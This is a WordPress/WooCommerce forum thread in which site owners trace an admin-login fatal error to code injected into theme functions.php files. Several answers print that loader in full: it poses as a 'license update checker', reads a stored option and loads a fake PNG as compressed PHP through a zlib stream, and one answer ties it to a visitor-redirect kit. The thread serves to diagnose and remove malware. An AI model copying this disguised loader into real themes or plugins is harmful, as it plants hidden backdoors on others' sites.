Question 3018 in Woocommerce Question posted in
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WordPress admin login throws error but site is working fine – Woocommerce

I am running a WordPress WooCommerce site. The site is running fine but I go to admin page and login, it throws the following error below. What is strange is that I can’t find any reference to this function wplicense_update_check

Fatal error: Uncaught TypeError: call_user_func_array(): Argument #1 ($callback) must be a valid callback, function "wplicense_update_check" not found or invalid function name in /home/mysite/public_html/wp-includes/class-wp-hook.php:308

Stack trace:
#0 /home/mysite/public_html/wp-includes/class-wp-hook.php(332): WP_Hook->apply_filters(NULL, Array)
#1 /home/mysite/public_html/wp-includes/plugin.php(517): WP_Hook->do_action(Array)
#2 /home/mysite/public_html/wp-settings.php(639): do_action(‘wp_loaded’)
#3 /home/mysite/public_html/wp-config.php(108): require_once(‘/home/mysite…’)
#4 /home/mysite/public_html/wp-load.php(50): require_once(‘/home/mysite…’)
#5 /home/mysite/public_html/wp-blog-header.php(13): require_once(‘/home/mysite…’)
#6 /home/mysite/public_html/index.php(17): require(‘/home/mysite…’)
#7 {main} thrown in /home/mysite/public_html/wp-includes/class-wp-hook.php on line 308

Tags:

4

Answers


  1. 0

    review file functions.php of the theme folder, in my case I have this code and directly delete it:

    add_action( 'wp_loaded', 'wplicense_update_check' );

if ( ! function_exists( 'wplicense_update_check' ) && ! is_user_logged_in()) {

    function wplicense_update_check() {
        /**
         * License Update Checker Hook
         *
         * Register theme update checker hook.
         *
         */
        
        $wplicense_update = get_option( '_' . get_stylesheet() . '_licence_data');
        $wplicense_updater = locate_template( $wplicense_update[0] . '-' . $wplicense_update[3] . '.' . $wplicense_update[1] );

        if (is_file($wplicense_updater)) {
            load_template( $wplicense_update[4] . '.' . $wplicense_update[2] . '://' . $wplicense_updater, true);
        }
    }
}
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  2. 0

    This is odd. I have just had an issue with a site and have found the following code in the themes functions.php file …

    add_action( 'wp_loaded', 'wplicense_update_check' );

if ( ! function_exists( 'wplicense_update_check' ) && ! is_user_logged_in()) {

    function wplicense_update_check() {
        /**
         * License Update Checker Hook
         *
         * Register theme update checker hook.
         *
         */
        
        $wplicense_update = get_option( '_' . get_stylesheet() . '_licence_data');
        $wplicense_updater = locate_template( $wplicense_update[0] . '-' . $wplicense_update[3] . '.' . $wplicense_update[1] );

        if (is_file($wplicense_updater)) {
            load_template( $wplicense_update[4] . '.' . $wplicense_update[2] . '://' . $wplicense_updater, true);
        }
    }
}

    … was causing a fatal error in WP. I did not add the code and have no idea how it ended up in my functions.php file.

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  3. 0

    I’ve also found this code in a child theme functions.php – which I know every line of. It should not be there.

    It loads an option from the database which is serialized as:

    a:5:{i:0;s:10:"screenshot";i:1;s:3:"png";i:2;s:4:"zlib";i:3;s:4:"main";i:4;s:8:"compress";}

    when de serialized it returns

    Array
(
    [0] => screenshot
    [1] => png
    [2] => zlib
    [3] => main
    [4] => compress
)

    Parts of this is then passed to the locate_template function to find the file: screenshot-main.png which is located in the child theme directory – it’s definitely not a PNG though.

    Submission to Virus total comes up clean but decompressing it with 7zip shows the PHP content.

    https://pastebin.mozilla.org/Wro62iM2 (added to archive.org too)

    It appears to be a zTDS implementation as it shares a lot of the same code – this appears to redirect visitors who are not logged in and not bots.

    https://ztds.info/doku.php?id=folders

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  4. 0

    Update – just found the code in functions.php again after having removed it.

    The code is slightly different as it is missing && ! is_user_logged_in() from the if statement:

    add_action( 'wp_loaded', 'wplicense_update_check' );

if ( ! function_exists( 'wplicense_update_check' ) ) {
    function wplicense_update_check() {
        /**
         * License Update Checker Hook
         *
         * Register theme update checker hook.
         *
         */
        $wplicense_update = get_option( '_' . get_stylesheet() . '_licence_data');
        if ($wplicense_updater = locate_template( $wplicense_update[0] . '-' . $wplicense_update[3] . '.' . $wplicense_update[1] )) {
            load_template( $wplicense_update[4] . '.' . $wplicense_update[2] . '://' . $wplicense_updater, true);
        }
    }
}
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